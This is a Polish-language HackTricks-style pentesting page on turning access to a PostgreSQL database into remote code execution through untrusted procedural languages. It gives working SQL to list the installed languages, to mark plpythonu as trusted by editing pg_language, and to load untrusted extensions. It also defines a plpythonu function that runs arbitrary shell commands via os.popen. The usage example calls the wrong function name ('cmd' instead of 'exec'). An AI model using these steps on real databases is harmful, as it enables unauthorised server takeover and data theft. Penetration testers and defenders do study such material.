RCE z językami PostgreSQL

Reading time: 6 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Języki PostgreSQL

Baza danych PostgreSQL, do której uzyskałeś dostęp, może mieć zainstalowane różne języki skryptowe, które możesz wykorzystać do wykonywania dowolnego kodu.

Możesz je uruchomić:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Większość języków skryptowych, które możesz zainstalować w PostgreSQL, ma 2 odmiany: zaufaną i niezaufaną. Niezaufana będzie miała nazwę kończącą się na "u" i będzie wersją, która pozwoli ci na wykonywanie kodu i korzystanie z innych interesujących funkcji. Oto języki, które są interesujące, jeśli są zainstalowane:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (jakikolwiek inny język programowania używający niebezpiecznej wersji)

warning

Jeśli znajdziesz interesujący język, który jest zainstalowany, ale niezaufany przez PostgreSQL (lanpltrusted jest false) możesz spróbować zaufać mu za pomocą następującej linii, aby żadne ograniczenia nie były stosowane przez PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Aby sprawdzić swoje uprawnienia do tabeli pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Jeśli nie widzisz języka, możesz spróbować go załadować (musisz być superadminem):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Zauważ, że możliwe jest skompilowanie bezpiecznych wersji jako "niebezpieczne". Sprawdź to na przykład. Zawsze warto spróbować, czy możesz wykonać kod, nawet jeśli znajdziesz tylko zainstalowaną zaufaną wersję.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Sprawdź następującą stronę:

{{#ref}} pl-pgsql-password-bruteforce.md {{#endref}}

C

Sprawdź następującą stronę:

{{#ref}} rce-with-postgresql-extensions.md {{#endref}}

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks